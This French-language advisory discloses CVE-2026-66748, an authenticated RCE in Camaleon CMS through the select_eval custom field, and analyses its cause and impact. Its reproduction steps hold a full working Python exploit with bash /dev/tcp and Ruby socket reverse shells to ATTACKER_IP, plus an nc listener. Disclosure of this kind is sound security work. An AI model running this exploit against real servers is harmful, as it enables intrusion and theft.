Retour aux mises à jour
UpdatedAug 5, 2026

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Mis à jour !

Avis de sécurité : Camaleon CMS - RCE authentifié via le champ personnalisé `select_eval`

Partager

Avis de sécurité : Camaleon CMS - RCE authentifiée via le champ personnalisé select_eval

ID CVE attribué : CVE-2026-66748

Produit : Camaleon CMS (https://github.com/owen2345/camaleon-cms) Versions affectées : 2.1.1 – 2.9.1 (introduit par le commit 415cbda6 2015-10-16 ; corrigé par le commit 15882366 2026-03-29 / v2.9.2) Sévérité : Élevée Score CVSS 4.0 : 8.7 Vecteur CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CWE : CWE-94 (Injection de code) Chercheur : Theodosis Paidakis Éditeur notifié : 2026-06-21 Avis associé : GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - type de champ parallèle, même cause racine, aucun CVE attribué)

Résumé

Le type de champ personnalisé select_eval stocke une expression Ruby arbitraire dans field.options[:command] et l'exécute via instance_eval dans une vue ERB chaque fois qu'une page d'édition de publication est rendue. Avant la v2.9.2, tout utilisateur disposant de la permission de gestion custom_fields - couramment accordée aux comptes de rôle éditeur - pouvait créer ce type de champ et obtenir une RCE côté serveur. Un champ select_eval se déclenche à chaque rendu de page de toute publication utilisant le groupe de champs ; sa sortie devient la liste des options de la liste déroulante. La vulnérabilité a été corrigée dans la v2.9.2.

Composant affecté

Fichier : app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb

<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>

instance_eval est appelé avec la chaîne brute issue de l'enregistrement en base de données. Aucun bac à sable et aucune restriction à la compilation sur les méthodes ou constantes accessibles depuis le binding ERB (qui est un contexte de vue Rails complet).

Fichier : app/models/camaleon_cms/ability.rb (v2.9.1, lignes 161-165)

custom_fields n'est jamais accordé explicitement. Huit ressources obtiennent can :manage individuellement plus haut dans le fichier (media, comments, themes, widgets, nav_menu, plugins, users, settings), et custom_fields n'en fait pas partie. Il n'est accessible que via ce fourre-tout, qui accorde manage à toute clé présente dans le hash @roles_manager du rôle sans vérifier si cette clé est sûre à accorder :

@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end

Tout utilisateur dont le rôle a le bit custom_fields activé atteint donc le contrôleur des champs personnalisés. Dans la plage affectée, ce bit est régulièrement accordé aux rôles de niveau éditeur.

La réécriture de la v2.9.2 remplace can par un wrapper safe_can et ajoute une liste explicite %i[...] contenant à la fois custom_fields et select_eval, mais la boucle fourre-tout ci-dessus existe toujours dans cette version. Ce n'est pas la liste de permissions qui corrige ce problème ; ce sont l'allowlist de strong parameters dans custom_fields_controller.rb et le contrôle can?(:manage, :select_eval) dans custom_field_group.rb.

Analyse de la cause racine

Le type de champ select_eval a été conçu pour permettre aux développeurs de remplir dynamiquement des listes déroulantes à partir de code Ruby stocké dans la base de données du CMS. Exécuter du Ruby arbitraire depuis une colonne de base de données via instance_eval équivaut à accorder un accès shell à quiconque peut écrire cette valeur. La permission requise était custom_fields - une permission de gestion de contenu ordinaire - plutôt qu'un bit privilégié explicite.

Relation avec les avis antérieurs

Cette découverte a été publiée sous GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9, couvrant un type de champ parallèle label_eval dans Camaleon CMS. Cet avis faisait partie d'un lot de cinq découvertes (GHSL-2024-182 à GHSL-2024-186) ; seules deux des cinq ont reçu des numéros CVE (CVE-2024-46986 et CVE-2024-46987). GHSL-2024-185 lui-même n'a aucun CVE attribué.

select_eval et label_eval partagent la même cause racine - du Ruby arbitraire stocké en base de données exécuté via instance_eval dans une vue ERB - mais diffèrent sur tous les autres aspects :

label_eval (GHSL-2024-185)select_eval (ce rapport)
Site d'exécutionLibellé de champ dans tout formulaireselect_tag dans la page d'édition de publication
Chemin d'écritureTexte du libellé du champ personnaliséLigne méta field.options[:command]

Ce rapport couvre exclusivement select_eval. Aucun CVE existant ni avis public ne documente ce type de champ spécifique et son chemin d'exploitation.

Étapes de reproduction

La plage affectée v2.1.1 à v2.9.1 a été déterminée par analyse du code source ; l'exploitation a été confirmée de bout en bout sur la v2.9.1. Nécessite uniquement un compte disposant de la permission custom_fields - aucun accès serveur.

Prérequis : Tout compte avec le bit de gestion custom_fields activé - une permission standard de rôle éditeur dans la plage affectée.

Étape 1. Démarrer un listener :

nc -lnvp 4444

Étape 2. Exécuter le script. Modifier BASE, ATTACKER_IP, TYPE_ID, POST_ID et les identifiants.

TYPE_ID - ID du type de publication visible dans l'URL de la barre latérale d'administration (par ex. /admin/post_type/2/posts). POST_ID - tout ID de publication sous ce type, à partir des liens d'édition de la liste des publications.

import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
image

Impact

Tout compte disposant de la permission custom_fields (avant la v2.9.2) obtient :

  • Exécution de Ruby arbitraire dans le processus Rails, avec les privilèges de l'utilisateur du serveur web (deploy, www-data, rails, etc.)
  • Exécution persistante : la charge utile se déclenche à chaque rendu de page de chaque publication utilisant le groupe de champs - ce n'est pas une exploitation ponctuelle
  • Falsification de session : la lecture de secret_key_base depuis config/secrets.yml permet de falsifier des cookies de session arbitraires pour n'importe quel utilisateur, y compris les administrateurs
  • Impact multi-sites : sur une instance Camaleon partagée, le processus Rails a accès aux données de tous les sites

Avant la v2.9.2, la permission custom_fields était régulièrement accordée aux utilisateurs de rôle éditeur. Un attaquant qui compromet n'importe quel compte de niveau éditeur obtient une RCE complète côté serveur.

Chronologie

2026-06-19 - Découverte lors de l'analyse du code source de la v2.9.2 et de la v2.9.1 2026-06-21 - Éditeur notifié 2026-03-29 - Correctif déjà publié (v2.9.2, commit 15882366)

Catégories